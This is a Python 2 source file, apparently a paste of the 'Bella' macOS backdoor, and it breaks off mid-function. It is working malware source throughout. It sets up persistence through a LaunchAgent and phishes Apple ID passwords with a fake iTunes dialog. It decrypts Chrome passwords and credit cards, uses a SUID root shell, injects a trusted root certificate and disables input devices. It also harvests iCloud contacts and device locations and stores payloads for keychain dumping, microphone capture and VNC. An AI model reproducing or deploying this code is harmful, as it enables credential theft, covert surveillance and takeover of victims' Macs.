· 9 years ago · Apr 17, 2017, 10:12 PM
1#!/usr/bin/env python
2# -*- coding: utf-8 -*-
3import sys, socket, subprocess, time, os, platform, struct, getpass, datetime, plistlib, re, stat, grp, shutil
4import string, json, traceback, pwd, urllib, urllib2, base64, binascii, hashlib, sqlite3, bz2, pickle, ast
5import StringIO, zipfile, hmac, tempfile, ssl, select
6from xml.etree import ElementTree as ET
7from subprocess import Popen, PIPE
8from glob import glob
9development = False
10def create_bella_helpers(launch_agent_name, bella_folder, home_path):
11 if development:
12 launch_agent_create = """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
13 <!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
14 <plist version=\"1.0\">
15 <dict>
16 <key>Label</key>
17 <string>%s</string>
18 <key>ProgramArguments</key>
19 <array>
20 <string>%s/Library/%s/Bella</string>
21 </array>
22 <key>StandardErrorPath</key>
23 <string>%s/Library/%s/Bella.stderr.log</string>
24 <key>StandardOutPath</key>
25 <string>%s/Library/%s/Bella.stdout.log</string>
26 <key>StartInterval</key>
27 <integer>5</integer>
28 </dict>
29 </plist>\n""" % (launch_agent_name, home_path, bella_folder, home_path, bella_folder, home_path, bella_folder)
30 else:
31 launch_agent_create = """<?xml version=\"1.0\" encoding=\"UTF-8\"?>
32 <!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">
33 <plist version=\"1.0\">
34 <dict>
35 <key>Label</key>
36 <string>%s</string>
37 <key>ProgramArguments</key>
38 <array>
39 <string>%s/Library/%s/Bella</string>
40 </array>
41 <key>StartInterval</key>
42 <integer>5</integer>
43 </dict>
44 </plist>\n""" % (launch_agent_name, home_path, bella_folder)
45
46 if not os.path.isdir('%s/Library/LaunchAgents/' % home_path):
47 os.makedirs('%s/Library/LaunchAgents/' % home_path)
48 with open('%s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), 'wb') as content:
49 content.write(launch_agent_create)
50
51
52 if not os.path.isdir('%s/Library/%s/' % (home_path, bella_folder)):
53 os.makedirs('%s/Library/%s/' % (home_path, bella_folder))
54 if development:
55 with open(__file__, 'rb') as content:
56 with open('%s/Library/%s/Bella' % (home_path, bella_folder), 'wb') as binary:
57 binary.write(content.read())
58 else:
59 os.rename(__file__, '%s/Library/%s/Bella' % (home_path, bella_folder))
60 os.chmod('%s/Library/%s/Bella' % (home_path, bella_folder), 0777)
61
62 out = subprocess.Popen('launchctl load -w %s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), shell=True, stderr=subprocess.PIPE).stderr.read()
63 def start_agent():
64 time.sleep(1.5)
65 ctl_list = subprocess.Popen('launchctl list'.split(), stdout=subprocess.PIPE)
66 ctl = ctl_list.stdout.read()
67 completed = False
68 for agent in ctl.splitlines():
69 if launch_agent_name in agent:
70 completed = True
71 if completed:
72
73
74 exit()
75 else:
76 pass
77
78
79 if out == '':
80 start_agent()
81 elif 'service already loaded' in out:
82 subprocess.Popen('launchctl remove %s' % launch_agent_name, shell=True)
83
84 out = subprocess.Popen('launchctl load -w %s/Library/LaunchAgents/%s.plist' % (home_path, launch_agent_name), shell=True, stderr=subprocess.PIPE).stderr.read()
85 start_agent()
86 exit()
87 else:
88
89 pass
90 return
91
92def globber(path): #if we are root, this globber will give us all paths
93 if os.getuid() != 0:
94 if is_there_SUID_shell():
95 (status, msg) = do_root(r"python -c \"from glob import glob; print glob('%s')\"" % path) #special escapes
96 if status:
97 return ast.literal_eval(msg) #convert string list to list
98 return glob(path)
99
100def protected_file_lister(path):
101 if os.getuid() != 0:
102 if is_there_SUID_shell():
103 (status, msg) = do_root(r"python -c \"import os; print os.listdir('%s')\"" % path) #special escapes
104 if status:
105 return ast.literal_eval(msg)
106 return os.listdir(path)
107
108def protected_file_reader(path): #for reading files when we have a backdoor root shell
109 if os.getuid() != 0:
110 if is_there_SUID_shell():
111 (status, msg) = do_root(r"python -c \"g = open('%s'); print g.read(); g.close()\"" % path) #special escapes
112 if status:
113 return msg[:-2] #this will be a raw representation of the file. knock off last 2 carriage returns
114 if os.access(path, os.R_OK):
115 with open(path, 'r') as content:
116 return content.read()
117 return '[%s] is not accessible' % path
118
119def subprocess_manager(pid, path, name): #will keep track of a PID and its path in the global payload_list
120 global payload_list
121 payload_list.append((pid, path, name)) #path is the binary that we will shutil.rmtree for, and PID we will kill
122 return True
123
124def subprocess_cleanup(): #will clean up all of those in the global payload_list
125 global payload_list
126 for x in payload_list:
127 p = kill_pid(x[0])
128 #print 'Killed pid [%s]: %s' % (x[0], repr(p))
129 payload_cleaner()
130 #print 'removed payload [%s]: %s' % (x[1], repr(p))
131 if p:
132
133 payload_list.remove(x)
134
135def host_update(updated_server, payloads):
136 if not "verify_update_id = '2f4e2e37c9b6eecebb0927a96938b4fa'" in updated_server:
137 send_msg('This does not appear to be a Bella payload. Cancelling update.', True)
138 return
139 with open(__file__, 'wb') as content:
140 content.write(updated_server)
141 send_msg('%sUpdated [%s] with new server code.\n' % (blue_star, __file__), False)
142 #working on way to make this backwards compatible
143 if not inject_payloads(payloads):
144 send_msg('%sError reinstalling payloads.\n' % red_minus, False)
145 else:
146 send_msg('%sReinstalled payloads.\n' % yellow_star, False)
147 send_msg('%sRestarting server!\n' % (yellow_star), False)
148 send_msg(os.kill(bellaPID, 9), False)
149 return
150
151def readDB(column, payload=False):
152 #we need the path specified below, because we cant read the helper location from DB without knowing what to read
153 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
154 c = conn.cursor()
155 try:
156 if payload:
157 c.execute("SELECT %s FROM payloads WHERE id = 1" % column)
158 else:
159 c.execute("SELECT %s FROM bella WHERE id = %s" % (column, bella_UID))
160 value = c.fetchone()[0]
161 if not value:
162 return False
163 except TypeError as e:
164 return False
165 except sqlite3.OperationalError:
166 return False
167
168 return base64.b64decode(value) #DECODES the data that updatedb ENCODES!
169
170def updateDB(data, column):
171 if data == None:
172 data = ''
173 else:
174 data = base64.b64encode(data) #readDB will return this data DECODED
175 if not os.path.isfile("%sbella.db" % get_bella_path()):
176 creator = createDB()
177 if not creator[0]:
178 return (False, "Error creating database! [%s]" % creator[1])
179 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
180 c = conn.cursor()
181 c.execute("SELECT * FROM bella WHERE id = %s" % bella_UID)
182 if len(c.fetchall()) == 0: #then that user is not yet in our DB, so let's create them
183 c.execute("INSERT INTO bella (id, username) VALUES (%s, '%s')" % (bella_UID, get_bella_user()))
184 c.execute("UPDATE bella set %s = '%s' WHERE id = %s" % (column, data, bella_UID))
185 conn.commit()
186 conn.close()
187 return (True, '')
188
189def check_if_payloads():
190 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
191 c = conn.cursor()
192 c.execute("SELECT * FROM payloads WHERE id = 1")
193 elts = c.fetchall()
194 if len(elts) == 0: #then those payloads are not yet in our DB, so let's create them
195 return False
196 return True
197
198def inject_payloads(payload_encoded):
199 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
200 c = conn.cursor()
201 try:
202 (vncFile, kcFile, mcFile, rsFile, insomniaFile, lockFile, chainbreakerFile, machRace) = payload_encoded.splitlines()
203 c.execute("DELETE FROM payloads WHERE id = 1") #wipe out old payloads
204 c.execute("INSERT INTO payloads (id, vnc, keychaindump, microphone, root_shell, insomnia, lock_icon, chainbreaker, mach_race) VALUES (1, '%s', '%s', '%s', '%s', '%s', '%s', '%s', '%s')" % (vncFile.encode('base64'), kcFile.encode('base64'), mcFile.encode('base64'), rsFile.encode('base64'), insomniaFile.encode('base64'), lockFile.encode('base64'), chainbreakerFile.encode('base64'), machRace.encode('base64')))
205 conn.commit()
206 conn.close()
207 return True
208 except Exception as e:
209 send_msg(repr(e), False)
210 conn.close()
211 return False
212
213def createDB():
214 try:
215 conn = sqlite3.connect('%sbella.db' % get_bella_path()) #will create if doesnt exist
216 c = conn.cursor()
217 c.execute("CREATE TABLE bella (id int, username text, lastLogin text, model text, mme_token text, applePass text, localPass text, chromeSS text, client_name text)")
218 c.execute("CREATE TABLE payloads(id int, vnc text, keychaindump text, microphone text, root_shell text, insomnia text, lock_icon text, chainbreaker text, mach_race text)")
219 conn.commit()
220 conn.close()
221
222 except sqlite3.OperationalError as e:
223 if e[0] == "table bella already exists":
224 return (True, e)
225 else:
226 return (False, e) #some error
227 return (True, None)
228
229def encrypt(data):
230 #This function will encode any given data into base64. It will then pass this encoded data as
231 #a command line argument, into the openssl binary, where it will be encrypted with aes-128-cbc
232 #using the master key specified at the top of the program. We encode the data so there are no unicode issues
233 #the openssl binary will then return ANOTHER DIFFERENT base64 string, that is the ENCODED ENCRYPTED data
234 #this ENCODED ENCRYPTED DATA [of ENCODED RAW DATA] can be decrypted by the decrypt function, which expects a
235 #base64 input and outputs the original raw data in an encoded format. this encoded format is then decoded and returned to
236 #the subroutine that called the function.
237 data = base64.b64encode(data)
238 encrypted = subprocess.check_output("openssl enc -base64 -e -aes-128-cbc -k %s <<< '%s'" % (crypt_key, data), shell=True) #encrypt password
239 return encrypted
240
241def decrypt(data):
242 #data = base64.b64decode(data)
243 decrypted = subprocess.check_output("openssl enc -base64 -d -aes-128-cbc -k %s <<< '%s'" % (crypt_key, data), shell=True) #encrypt password
244 return base64.b64decode(decrypted)
245
246def main_iCloud_helper():
247 error, errorMessage = False, False
248 dsid, token = "", ""
249 (username, password, usingToken) = iCloud_auth_process(False)
250 error = False
251 if password == False:
252 errorMessage = "%s%s" % (red_minus, username) #username will have the error message
253 error = True
254 else:
255 content = dsid_factory(username, password)
256 if content[0] == False:
257 errorMessage =content[1]
258 error = True
259 else:
260 try:
261 (dsid, token, usingToken) = content
262 except ValueError, e:
263 errorMessage = '\n'.join(content)
264 error = True
265 return (error, errorMessage, dsid, token)
266
267def byte_convert(byte):
268 for count in ['B','K','M','G']:
269 if byte < 1024.0:
270 return ("%3.1f%s" % (byte, count)).replace('.0', '')
271 byte /= 1024.0
272 return "%3.1f%s" % (byte, 'TB')
273
274def cur_GUI_user():
275 try:
276 return subprocess.check_output("stat -f '%Su' /dev/console", shell=True).replace("\n", "")
277 except:
278 return "No Current GUI"
279
280def check_output(cmd):
281 process = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
282 stderr = process.stderr.read()
283 stdout = process.stdout.read()
284 if process.wait() != 0:
285
286 return (False, stderr, process.wait()) #failed, stderr, exit code
287 return (True, stdout, process.wait()) #completed successfully, stdout, exit code
288
289def appleIDPhishHelp():
290 returnString = ""
291 for x in get_iTunes_accounts():
292 if x[0]:
293 returnString += "Local user: [%s] Apple ID: [%s]\n" % (x[2], x[1])
294 else:
295 pass
296 return pickle.dumps((returnString, cur_GUI_user()))
297
298def appleIDPhish(username, GUIUser):
299 while True:
300 if sig_int_listener(): #user hit CTRLC, cancel.
301 return
302 check = applepwRead()
303 if isinstance(check, str): #we have file...
304 send_msg("%sApple password already found [%s] %s\nIf you want to re-phish, delete this entry with 'update_db_entry'.\n" % (blue_star, check, blue_star), False)
305 break
306
307 osa_end = "osascript -e 'tell application \"iTunes\"' -e \"pause\" -e \"end tell\"; osascript -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to activate' -e 'tell app \"iTunes\" to display dialog \"Error connecting to iTunes. Please verify your password for " + username + " \" default answer \"\" with icon 1 with hidden answer with title \"iTunes Connection\"' -e 'text returned of result'"
308 if '.'.join(platform.mac_ver()[0].split('.')[:-1]) < 10.11:
309 if os.getuid() == 0:
310 #we are root on yosemite or below. Get the current login window PID so we know who to launch to.
311 login_window_PID = ''
312 out = subprocess.Popen('ps ax'.split(), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
313 for x in out.splitlines():
314 if 'loginwindow console' in x:
315 login_window_PID = x.split()[0]
316 if not login_window_PID:
317 send_msg('%sCould not find a current login window PID.\n' % red_minus, True)
318 return
319 #launch to the current login window PID
320 osa = "launchctl bsexec %s %s" % (login_window_PID, osa_end)
321
322 else:
323 #we are normal user on yosemite or below. no security context issues. prompt for kchain.
324 osa = osa_end
325 else:
326 #we are either root or normal user on el cap or above. call launchctl asuser.
327 osa = "launchctl asuser %s %s" % (bella_UID, osa_end)
328
329 #pauses music, then prompts user
330 out = check_output(osa)
331 if not out[0]:
332 #user has attempted to cancel
333 send_msg("[-] User has attempted to cancel. Trying again.\n", False)
334 continue
335 continue
336 send_msg("[-] The user has attempted to cancel this action. We are trying again.\n", True)
337 else:
338 out = out[1]
339 passw = out.replace('\n', '')
340 send_msg("%sUser has attempted to use password: %s\n" % (blue_star, passw), False)
341 try:
342 request = urllib2.Request("https://setup.icloud.com/setup/get_account_settings")
343 base64string = base64.encodestring('%s:%s' % (username, passw)).replace('\n', '')
344 request.add_header("Authorization", "Basic %s" % base64string)
345 result = urllib2.urlopen(request)
346 out2 = result.read()
347 except Exception, e:
348 if str(e) == "HTTP Error 401: Unauthorized":
349 out2 = "fail?"
350 elif str(e) == "HTTP Error 409: Conflict":
351 out2 = "2sV"
352 else:
353 out2 = "otherError!"
354
355 if out2 == "fail?":
356 send_msg(red_minus + "Bad combo: [%s:%s]\n" % (username, passw), False)
357 continue
358 elif out2 == "2sV":
359 send_msg("%sVerified! [2FV Enabled] Account -> [%s:%s]%s\n" % (greenPlus, username, passw, endANSI), False)
360 updateDB(encrypt("%s:%s" % (username, passw)), 'applePass')
361 os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";")
362 break
363 elif out2 == "otherError!":
364 send_msg("%sMysterious error with [%s:%s]\n" % (red_minus, username, passw), False)
365 break
366 else:
367 send_msg("%sVerified! Account -> %s[%s:%s]%s\n" % (greenPlus, bold, username, passw, endANSI), False)
368 updateDB(encrypt("%s:%s" % (username, passw)), 'applePass')
369 os.system("osascript -e 'tell application \"iTunes\"' -e \"play\" -e \"end tell\";")
370 break
371 send_msg('', True)
372 return 1
373
374def is_there_SUID_shell():
375 if os.getuid() == 0:
376 return True
377
378 if os.path.isfile(ROOT_SHELL_PATH):
379 return True
380
381 if local_pw_read():
382 #send_msg("%sLocal PW present.\n" % greenPlus, False)
383 binarymake = make_SUID_root_binary(local_pw_read(), None)
384 #send_msg(binarymake[1], False)
385 if binarymake[0]: #we have successfully created a temp root shell
386 return True
387 return False
388
389 return False
390
391def remove_SUID_shell():
392 if os.path.isfile(ROOT_SHELL_PATH):
393 try:
394 os.remove(ROOT_SHELL_PATH)#'%s rm %s > /dev/null' % (ROOT_SHELL_PATH, ROOT_SHELL_PATH))
395 #send_msg('%sRemoved temporary root shell [%s].\n' % (yellow_star, ROOT_SHELL_PATH), False) #%
396 except Exception as e:
397 pass
398 send_msg(e.msg, False)
399 send_msg('%sError removing temporary root shell @ %s. You should delete this manually.\n' % (red_minus, ROOT_SHELL_PATH) , False)
400 return
401
402def do_root(command):
403 if os.getuid() == 0:
404 output = subprocess.Popen("%s" % command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
405 out = output.stdout.read()
406 err = output.stderr.read()
407 if output.wait() != 0:
408 return (False, '%sWe are root, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
409 return (True, "%s\n" % out)
410 else:
411 if not is_there_SUID_shell():
412 return (False, '%sThere is no root shell to perform this command. See [rooter] manual entry.\n' % red_minus)
413 output = subprocess.Popen("%s \"%s\"" % (ROOT_SHELL_PATH, command), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
414 out = output.stdout.read()
415 err = output.stderr.read()
416 if err != '':
417 return (False, '%sThere is a root shell to perform this command, but there was an error.\n%s%s' % (blue_star, yellow_star, err))
418 return (True, "%s\n" % out)
419
420def cert_inject(cert):
421 cPath = tempfile.mkdtemp()
422 with open('%scert.crt' % cPath, 'w') as content:
423 content.write(cert)
424 temp_file_list.append(cPath)
425 (success, msg) = do_root("security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain %scert.crt" % cPath)
426 if not success:
427 return "%sError injecting root CA into login Keychain:\n%s" % (red_minus, msg)
428 payload_cleaner()
429 return "%sCertificate Authority injected into login Keychain!\n" % yellow_star
430
431def cert_remove(shahash):
432 (success, msg) = do_root("security delete-certificate -Z %s /Library/Keychains/System.keychain" % shahash)
433 if not success:
434 return "%sError removing root CA from login Keychain:\n%s" % (red_minus, msg)
435 return "%sCertificate Authority removed from login Keychain!\n" % yellow_star
436
437def check_current_users():
438 output = check_output("w -h | sort -u -t' ' -k1,1 | awk {'print $1'}")
439 if not output[0]:
440 return "Error finding current users.\n"
441 return output[1]
442
443def check_pid(pid):
444 try:
445 os.kill(pid, 0)
446 except OSError:
447 return False
448 else:
449 return True
450
451def get_cc(cc_num):
452 cc_dict = {3: 'AMEX', 4: 'Visa', 5: 'Mastercard', 6: 'Discover'}
453 try:
454 return cc_dict[cc_num[0]]
455 except KeyError:
456 return "Unknown Card Issuer"
457
458def chrome_decrypt(encrypted_value, iv, key): #AES decryption using the PBKDF2 key and 16x ' ' IV, via openSSL (installed on OSX natively)
459 hex_key = binascii.hexlify(key)
460 hex_enc_password = base64.b64encode(encrypted_value[3:])
461 decrypted = check_output("openssl enc -base64 -d -aes-128-cbc -iv '%s' -K %s <<< %s 2>/dev/null" % (iv, hex_key, hex_enc_password))
462 if not decrypted[0]:
463 decrypted = "ERROR retrieving password.\n"
464 return decrypted[1] #otherwise we got it
465
466def chrome_dump(safe_storage_key, login_data):
467 empty = True
468 for i, x in enumerate(chrome_process(safe_storage_key, "%s" % login_data)):
469 if 'Web Data' in login_data:
470 if i == 0:
471 send_msg("%sCredit Cards for Chrome Profile%s -> [%s%s%s]\n" % ('\033[92m', '\033[0m', '\033[95m', login_data.split('/')[-2], '\033[0m'), False)
472 send_msg(" %s[%s]%s %s%s%s\n\t%sCard Name%s: %s\n\t%sCard Number%s: %s\n\t%sExpiration Date: %s%s/%s\n" % ('\033[32m', (i+1), '\033[0m', '\033[1m', get_cc(x[2]), '\033[0m', '\033[32m', '\033[0m', x[1], '\033[32m', '\033[0m', x[2], '\033[32m', '\033[0m', x[0], x[3]), False)
473 else:
474 if i == 0:
475 send_msg("%sPasswords for Chrome Profile%s -> [%s%s%s]\n" % ('\033[92m', '\033[0m', '\033[95m', login_data.split('/')[-2], '\033[0m'), False)
476 send_msg(" %s[%s]%s %s%s%s\n\t%sUser%s: %s\n\t%sPass%s: %s\n" % ('\033[32m', (i + 1), '\033[0m', '\033[1m', x[0], '\033[0m', '\033[32m', '\033[0m', x[1], '\033[32m', '\033[0m', x[2]), False)
477 empty = False
478 if not empty:
479 send_msg('', False)
480 else:
481 if 'Web Data' in login_data:
482 send_msg("%sFound no Credit Cards for [%s].\n" % (blue_star, login_data.split("/")[-2]), False)
483 else:
484 send_msg("%sFound no Chrome Passwords for [%s].\n" % (blue_star, login_data.split("/")[-2]), False)
485
486def chrome_process(safe_storage_key, chrome_data):
487 iv = ''.join(('20',) * 16) #salt, iterations, iv, size - https://cs.chromium.org/chromium/src/components/os_crypt/os_crypt_mac.mm
488 key = hashlib.pbkdf2_hmac('sha1', safe_storage_key, b'saltysalt', 1003)[:16]
489 copy_path = tempfile.mkdtemp() #work around for locking DB
490 with open(chrome_data, 'r') as content:
491 dbcopy = content.read()
492 with open('%s/chrome' % copy_path, 'w') as content:
493 content.write(dbcopy) #if chrome is open, the DB will be locked, so get around by making a temp copy
494 database = sqlite3.connect('%s/chrome' % copy_path)
495 if 'Web Data' in chrome_data:
496 sql = 'select name_on_card, card_number_encrypted, expiration_month, expiration_year from credit_cards'
497 else:
498 sql = 'select username_value, password_value, origin_url, submit_element from logins'
499 decrypted_list = []
500 with database:
501 for values in database.execute(sql):
502 #values will be (name_on_card, card_number_encrypted, expiration_month, expiration_year) or (username_value, password_value, origin_url, submit_element)
503 if values[0] == '' or (values[1][:3] != b'v10'): #user will be empty if they have selected "never" store password
504 continue
505 else:
506 decrypted_list.append((str(values[2]).encode('ascii', 'ignore'), values[0].encode('ascii', 'ignore'), str(chrome_decrypt(values[1], iv, key)).encode('ascii', 'ignore'), values[3]))
507 shutil.rmtree(copy_path)
508 return decrypted_list
509
510def chrome_safe_storage():
511 retString = ""
512 check = chromeSSRead()
513 if isinstance(check, str):
514 send_msg("%sPreviously generated Google Chrome Safe Storage key.\n%s%s\n" % (blue_star, blue_star, check), True)
515 return
516 while True:
517 ### CTRLC listener
518 if sig_int_listener(): #user hit CTRLC, cancel.
519 return
520 kchain = getKeychains()
521 send_msg("%sUsing [%s] as keychain.\n" % (yellow_star, kchain), False)
522 if '.'.join(platform.mac_ver()[0].split('.')[:-1]) < 10.11:
523 if os.getuid() == 0:
524 #we are root on yosemite or below. Get the current login window PID so we know who to launch to.
525 login_window_PID = ''
526 out = subprocess.Popen('ps ax'.split(), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
527 for x in out.splitlines():
528 if 'loginwindow console' in x:
529 login_window_PID = x.split()[0]
530 if not login_window_PID:
531 send_msg('%sCould not find a current login window PID.\n' % red_minus, True)
532 return
533 #launch to the current login window PID
534 encryptionKey = check_output("launchctl bsexec %s security find-generic-password -wa 'Chrome' '%s'" % (login_window_PID, kchain))
535 else:
536 #we are normal user on yosemite or below. no security context issues. prompt for kchain.
537 encryptionKey = check_output("security find-generic-password -wa 'Chrome' '%s'" % (kchain))
538
539 else:
540 #we are either root or normal user on el cap or above. call launchctl asuser.
541 encryptionKey = check_output("launchctl asuser %s security find-generic-password -wa 'Chrome' '%s'" % (bella_UID, kchain)) #get rid of \n
542
543 if not encryptionKey[0]:
544 if 51 == encryptionKey[2]:
545 send_msg("%sUser clicked deny.\n" % red_minus, False)
546 continue
547 elif 44 == encryptionKey[2]:
548 send_msg("%sNo Chrome Safe Storage Key Found!\n" % red_minus, True)
549 return
550 else:
551 send_msg("Strange error [%s]\n" % encryptionKey[1], True)
552 return
553 updateDB(encrypt(encryptionKey[1].replace('\n', '')), 'chromeSS') #got it
554 send_msg("%sChrome Key: [%s]\n" % (blue_star, encryptionKey[1].replace('\n', '')), True)
555 return
556
557def disable_keyboard_mouse(device):
558 paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"}
559 (success, msg) = do_root("kextunload %s" % paths[device])
560 if not success:
561 return "%sError disabling %s.\n%s" % (red_minus, paths[device], msg)
562 return "%s%s successfully disabled!\n" % (greenPlus, device)
563
564def dsid_factory(uname, passwd):
565 resp = None
566 req = urllib2.Request("https://setup.icloud.com/setup/authenticate/%s" % uname)
567 req.add_header('Authorization', 'Basic %s' % base64.b64encode("%s:%s" % (uname, passwd)))
568 req.add_header('Content-Type', 'application/json')
569 try:
570 resp = urllib2.urlopen(req)
571 except urllib2.HTTPError as e:
572 if e.code != 200:
573 if e.code == 401:
574 return (False, "HTTP Error 401: Unauthorized. Are you sure the credentials are correct?\n", False)
575 elif e.code == 409:
576 tokenLocal = tokenRead()
577 if tokenLocal != False: #if we have token use it ... bc 2SV wont work with regular uname/passw
578 dsid = tokenLocal.split("\n")[1].split(":")[0]
579 tokz = tokenLocal.split("\n")[1].split(":")[1]
580 return (dsid, tokz, True)
581 else:
582 return (False, "HTTP Error 409: Conflict. 2 Factor Authentication appears to be enabled. You cannot use this function unless you get your MMeAuthToken manually (generated either on your PC/Mac or on your iOS device).\n", False)
583 elif e.code == 404:
584 return (False, "HTTP Error 404: URL not found. Did you enter a username?\n", False)
585 else:
586 return (False, "HTTP Error %s." % e.code, False)
587 else:
588 return e
589 content = resp.read()
590 uname = plistlib.readPlistFromString(content)["appleAccountInfo"]["dsPrsID"] #stitch our own auth DSID
591 passwd = plistlib.readPlistFromString(content)["tokens"]["mmeAuthToken"] #stitch with token
592 return (uname, passwd, False) #third value is "usingToken?"
593
594def enable_keyboard_mouse(device):
595 paths = {"keyboard": "/System/Library/Extensions/AppleUSBTopCase.kext/Contents/PlugIns/AppleUSBTCKeyboard.kext/", "mouse": "/System/Library/Extensions/AppleUSBMultitouch.kext/"}
596 (success, msg) = do_root("kextload %s" % paths[device])
597 if not success:
598 return "%sError enabling %s.\n%s" % (red_minus, paths[device], msg)
599 return "%s%s successfully enabled!\n" % (greenPlus, device)
600
601def enumerate_chrome_profiles():
602 return globber("/Users/*/Library/Application Support/Google/Chrome/*/Login Data")
603
604def FMIP(username, password):
605 i = 0
606 try: #if we are given a FMIP token, change auth Type
607 int(username)
608 authType = "Forever"
609 except ValueError: #else apple id use useridguest
610 authType = "UserIDGuest"
611 while True:
612 i +=1
613 url = 'https://fmipmobile.icloud.com/fmipservice/device/%s/initClient' % username
614 headers = {
615 'X-Apple-Realm-Support': '1.0',
616 'Authorization': 'Basic %s' % base64.b64encode("%s:%s" % (username, password)),
617 'X-Apple-Find-API-Ver': '3.0',
618 'X-Apple-AuthScheme': '%s' % authType,
619 'User-Agent': 'FindMyiPhone/500 CFNetwork/758.4.3 Darwin/15.5.0',
620 }
621 request = urllib2.Request(url, None, headers)
622 request.get_method = lambda: "POST"
623 try:
624 response = urllib2.urlopen(request)
625 z = json.loads(response.read())
626 except urllib2.HTTPError as e:
627 if e.code == 401:
628 return "Authorization Error 401. Try credentials again."
629 if e.code == 403:
630 pass #can ignore
631 raise e
632 if i == 2: #loop twice / send request twice
633 break
634 send_msg("Sent \033[92mlocation\033[0m beacon to \033[91m[%s]\033[0m devices\n" % len(z["content"]), False)
635 send_msg("Awaiting response from iCloud...\n", False)
636 #okay, FMD request has been sent, now lets wait a bit for iCloud to get results, and then do again, and then break
637 time.sleep(5)
638 send_msg("\033[94m(%s %s | %s)\033[0m -> \033[92mFound %s Devices\033[0m\n-------\n" % (z["userInfo"]["firstName"], z["userInfo"]["lastName"], username, len(z["content"])), False)
639 i = 1
640 for y in z["content"]:
641 try:
642 send_msg("Device [%s]\n" % i, False)
643 i += 1
644 send_msg("Model: %s\n" % y["deviceDisplayName"], False)
645 send_msg("Name: %s\n" % y["name"], False)
646 timeStamp = y["location"]["timeStamp"] / 1000
647 timeNow = time.time()
648 timeDelta = timeNow - timeStamp #time difference in seconds
649 minutes, seconds = divmod(timeDelta, 60) #great function, saves annoying maths
650 hours, minutes = divmod(minutes, 60)
651 timeStamp = datetime.datetime.fromtimestamp(timeStamp).strftime("%A, %B %d at %I:%M:%S")
652 if hours > 0:
653 timeStamp = "%s (%sh %sm %ss ago)" % (timeStamp, str(hours).split(".")[0], str(minutes).split(".")[0], str(seconds).split(".")[0])
654 else:
655 timeStamp = "%s (%sm %ss ago)" % (timeStamp, str(minutes).split(".")[0], str(seconds).split(".")[0])
656 send_msg("Latitude, Longitude: <%s;%s>\n" % (y["location"]["latitude"], y["location"]["longitude"]), False)
657 send_msg("Battery: %s & %s\n" % (y["batteryLevel"], y["batteryStatus"]), False)
658 send_msg("\033[92mLocated at: %s\033[0m\n" % timeStamp, False)
659 send_msg("-------\n", False)
660 except TypeError,e :
661 send_msg("\033[92mCould not get GPS lock!\033[0m\n", False)
662 send_msg('', True)
663 return 0
664
665def get_card_links(dsid, token):
666 url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
667 headers = {
668 'Depth': '1',
669 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
670 'Content-Type': 'text/xml',
671 }
672 data = """<?xml version="1.0" encoding="UTF-8"?>
673 <A:propfind xmlns:A="DAV:">
674 <A:prop>
675 <A:getetag/>
676 </A:prop>
677 </A:propfind>
678 """
679 request = urllib2.Request(url, data, headers)
680 request.get_method = lambda: 'PROPFIND' #replace the get_method fxn from its default to PROPFIND to allow for successfull cardDav pull
681 response = urllib2.urlopen(request)
682 zebra = ET.fromstring(response.read())
683 returnedData = """<?xml version="1.0" encoding="UTF-8"?>
684 <F:addressbook-multiget xmlns:F="urn:ietf:params:xml:ns:carddav">
685 <A:prop xmlns:A="DAV:">
686 <A:getetag/>
687 <F:address-data/>
688 </A:prop>\n"""
689 for response in zebra:
690 for link in response:
691 href = response.find('{DAV:}href').text #get each link in the tree
692 returnedData += "<A:href xmlns:A=\"DAV:\">%s</A:href>\n" % href
693 return "%s</F:addressbook-multiget>" % str(returnedData)
694
695def get_card_data(dsid, token):
696 url = 'https://p04-contacts.icloud.com/%s/carddavhome/card' % dsid
697 headers = {
698 'Content-Type': 'text/xml',
699 'Authorization': 'X-MobileMe-AuthToken %s' % base64.b64encode("%s:%s" % (dsid, token)),
700 }
701 data = get_card_links(dsid, token)
702 request = urllib2.Request(url, data, headers)
703 request.get_method = lambda: 'REPORT' #replace the get_method fxn from its default to REPORT to allow for successfull cardDav pull
704 response = urllib2.urlopen(request)
705 zebra = ET.fromstring(response.read())
706 i = 0
707 contactList, phoneList, cards = [], [], []
708 for response in zebra:
709 tel, contact, email = [], [], []
710 name = ""
711 vcard = response.find('{DAV:}propstat').find('{DAV:}prop').find('{urn:ietf:params:xml:ns:carddav}address-data').text
712 if vcard:
713 for y in vcard.splitlines():
714 if y.startswith("FN:"):
715 name = y[3:]
716 if y.startswith("TEL;"):
717 tel.append((y.split("type")[-1].split(":")[-1].replace("(", "").replace(")", "").replace(" ", "").replace("-", "").encode("ascii", "ignore")))
718 if y.startswith("EMAIL;") or y.startswith("item1.EMAIL;"):
719 email.append(y.split(":")[-1])
720 cards.append(([name], tel, email))
721 return sorted(cards)
722
723def get_iTunes_accounts():
724 iClouds = globber("/Users/%s/Library/Accounts/Accounts3.sqlite" % get_bella_user()) #we are only interested in the current GUI user
725 returnList = []
726 for x in iClouds:
727 database = sqlite3.connect(x)
728 try:
